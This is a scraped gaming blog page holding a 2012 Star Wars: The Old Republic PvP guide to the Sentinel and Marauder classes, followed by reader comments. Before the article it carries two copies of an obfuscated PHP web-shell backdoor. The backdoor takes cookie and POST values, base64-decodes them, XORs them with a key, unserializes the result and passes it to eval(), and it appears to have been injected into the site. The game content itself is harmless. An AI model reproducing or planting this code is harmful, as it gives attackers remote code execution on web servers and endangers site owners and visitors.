$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> Tactical Strike: Advanced Class Spotlight – Sentinels and Marauders – Corellian Run Radio
Oct 102012
 

By Geldarion

Briefing

Welcome to the war, comrades. You have been selected to receive the latest training and tactics fresh from the warfront. The tried-and-true strategies you are about to hear are extremely effective and CLASSIFIED. Let’s get to the briefing. Today, we will discuss what Sentinels and Marauders bring to the table in team-based PvP.

More after the Jump…

 

Every class has its uses in team-based PvP. Certainly, when reading the forums or even fansites, you will hear that “class X is the best at burst damage” or “class Y sucks since Patch blah blah when they nerfed them,” but I believe that every advanced class has a reason to pick them, and that every strategy can accommodate any advanced class.

The main thing to remember is a good player playing <insert class here> is better than a bad player playing <insert “flavor-of-the-month” class here>. This will mostly depend on the player’s understanding of his class and of other classes. These advanced class spotlights will have a two-fold purpose: to help you understand what your teammates can do, and to help you understand what your enemy can do.

So today, I want to give you a taste of what the Sentinel and Marauder can do for a group in PvP. This will be in three sections: Talent Trees, General Skills, and Group Roles.

Talent Trees

The three talent trees for a Sentinel/Marauder are Watchman/Annihilation, Combat/Carnage, and Focus/Rage. Why is it important for you to know that? It really isn’t, except for the purposes of knowing what I am talking about in this article.

What is important to know, is that in team play, these can roughly be categorized as:

Watchman/Annihilation: healer-interrupting spec
Combat/Carnage: speedy spec
Focus/Rage: AoE powerhouse spec

You can tell by the following stance icons which spec they are using:

Watchman/Annihilation – Juyo Form

 

 

Combat/Carnage – Ataru Form

 

 

Focus/Rage – Shii-Cho

 

 

General Skills

It is good for all of the classes to have a working knowledge of how the Sentinel/Marauder’s more unique skills work. It can help both when facing them, and when discussing strategies with them. Here are a few of the most important skills when it comes to team play.

Transcendence/Predation

Transcendence/Predation is a buff that can be used periodically as the Sentinel/Marauder reaches 30 stacks of Centering/Fury, which build as they use skills. This buff is special, as it is the only Centering/Fury-based buff that is Ops-wide, meaning all 8 teammates get the benefit of +10% ranged and melee defense and, more importantly, of a +50% run speed boost. If the Sentinel/Marauder is specced Combat/Carnage, this bonus is +80%. This is useful in all of the Warzones, with examples ranging from getting to the next room in Voidstar faster, to helping the ball carrier to clear two firetraps quickly in Huttball.

Crippling Throw/Deadly Throw

This skill is mid-ranged (10 meters) and is on a 12 second cooldown. It debuffs the target for -30% incoming healing. It is useful if the Sentinel/Marauder is the Focus Target, as it can help bring down healers, ball carriers, or high-profile players more quickly.

Force Kick/Disruption

This is one of the shortest-cooldown interrupts in the game. If the Sentinel/Marauder is specced Watchman/Annihilation, then it is on a 6 second cooldown, and it locks out a skill for 4 seconds. Otherwise, it is on a 8 second cooldown, which is still pretty short.

Force Leap/Force Charge and Zealous Leap/Obliterate

These are fantastic skills, each capable of slightly different things. Force Leap and Force Charge are 10-30 meter leaps (unless specced Watchman/Annihilation, where there is not a minimum range). They also interrupt any skill you are currently casting, as well as rooting you in place for a few seconds. Zealous Leap/Obliterate are only available if the Sentinel/Marauder is specced Focus/Rage, and it does not root nor does it interrupt. It can, however, be used on people in Cover, so it is excellent in Huttball for jumping up to the ledge so they can run into the endzone.

Group Roles

Using the article I wrote on group roles in PvP as a base, the Sentinel and Marauder’s trees are specifically good at the following roles.

Watchman/Annihilation: Healer-Interrupting DPS

Combat/Carnage: Support DPS (Transcendence/Predation buff)

Focus/Rage: Support DPS (AoE damage and Ball-carrier leaps)

All specs are good at being a Focus Target. The frequent use of Crippling Throw/Deadly Throw is the main draw to having this class being in charge of calling targets.

 

In general, expect the Watchman/Annihilation spec to be good at staying alive through bleed heals. They will probably be on the enemy healer at all times, and if they are using their interrupt correctly, that healer will not be able to get off their big heal, so the healer will need support.

Expect Combat/Carnage players to be close to objectives, mainly popping Transcendence/Predation to facilitate their allies’ movements across the map.

Expect Focus/Rage players to be in the melee, popping AoEs, and in Huttball, expect them to be the ball carrier.

 

I hope this gives you some ideas on how to use Sentinels and Marauders in team PvP. Let me know if I missed anything or if you have any thoughts in the comments section!

Use this information well, soldier. Fight for victory and die with honor. Till our next briefing, DISMISSED!

  4 Responses to “Tactical Strike: Advanced Class Spotlight – Sentinels and Marauders”

  1. Very nice article and I learned a few new things, but I have to point out your sentence from the beginning:

    “…to help you understand what your enemy can do.”

    This may be going into too much detail (read TL:DR), but I don’t think you completely covered this statement, as sent/mara’s have the best defensive cooldowns in game. So I’m going to provide the information on what they do and how to tell when they are used on an opponent .

    1. Cloak of pain/Rebuke: Reduces all damage taken by 20% and lasts 6 seconds. Can last 30s if attacked continuously. – Visual queue that this is up is a red(sith)/blue(sent.) circle around them.

    2. Saber ward/Saber ward : Increasing melee and ranged defenses by 50% and reducing the damage taken from Force and tech attacks by 25%. Lasts 12 seconds. – Visual queue this is up is another red/blue circle around the mara/sent.

    3. Undying rage/Guarded by the force : Spends 50% of current health to grant 99% damage reduction for 4 seconds. – Visual queue this is up your opponent changes color to red (mara.) or blue (sent.) and is optimally used when they have little health.

    4. Force camouflage/Force camauflage : Obscures yourself with the Force, becoming difficult to detect, reducing all damage taken by 50%, and increasing movement speed by 30%. Lasts 4 seconds. Dealing direct damage ends the effect prematurely. – This is the mara./sent.’s vanish, it can also last longer if talented.

    TL;DR – Whenever fighting this AC and you see a red or blue circle them or change color to red or blue cc them until it wears off, if they vanish aoe the area in the direction they were going to break them out of stealth.

  2. This is true, very nice writeup. I actually included Saber Ward and GBTF in my Situational Awareness posts that were directed at defeating your opponent. Rebuke and Force Camo are both good as well, but I did not include them, just because they weren’t quite as problematic (still a problem, just not as much as 99% incoming damage reduction lol).

    I would agree that I did not fully cover the Sentinel/Marauder in all of the details. There are a lot of things that other classes need to know to defeat them directly, and there is only so much I can put in one post sometimes. I chose the ones I did because the main focus of this post was on the skills that were directly related to team-based play. Things like Transcendence, Crippling Throw, Force Leap and Zealous Leap, and Force Kick all have direct uses in team-based play, in team buffs, Focus Target abilities, Huttball aids, and healer-interruption, respectively. The tidbit of knowing what your enemy will do was more directed at what the enemy TEAM will do, as you can tell if that Sentinel is likely to be interrupting the healer by the fact he is in Juyo, etc. It is more for guessing the other team’s makeup quickly.

    I appreciate you posting though, all of what you said is definitely good information to know and use, let me know if you have any other thoughts! 🙂

  3. Now, I typically play a op healer in PvP but I leveled and geared up as concealment until ranked wz hit then switched because dps got too frustrating after they removed adrenals. But as a concealment op I got a feel for the defensive cd’s of marauders. That and a marauder guildmate taught me to counter them as best I could in 1v1.

    Outta frustration for the lack of burst dps plus no real sustained dps of a concealment op, I switched to healing and it immediately felt like I was cheating, no one could kill me. I then began leveling a marauder. I learned that they are more squishier than I thought, especially when focused, which happens a lot if rage spec’ed. This forced me to learn to use the defensive cd wisely.

    We’ll see what happens when I reach 50. I have a feeling I’m gonna hit the gear gap brick wall. Luckily I bought some marauder pieces with my op healer to switch over the item mods and I’m comm-capped on my marauder to soften the blow.

  4. That will help a lot, and I think you will find the Recruit MK-2 set is remarkably helpful. Much more so than the Recruit MK-1.

    I would say to anyone leveling a Marauder or Sentinel, to bear through the PvP until level 30, because that is when you get Force Camo. Until then, you don’t really live long enough to build Centering/Fury all the way up. It can be a frustrating experience, but they are absolutely godlike in the 40s IMHO.

    Good luck with the level 50 transition! Let me know how you like it!

Rss Feed Tweeter button Facebook button Technorati button Reddit button Linkedin button Webonews button Delicious button Digg button Flickr button Stumbleupon button Newsvine button Youtube button
Copy Protected by Tech Tips's CopyProtect Wordpress Blogs.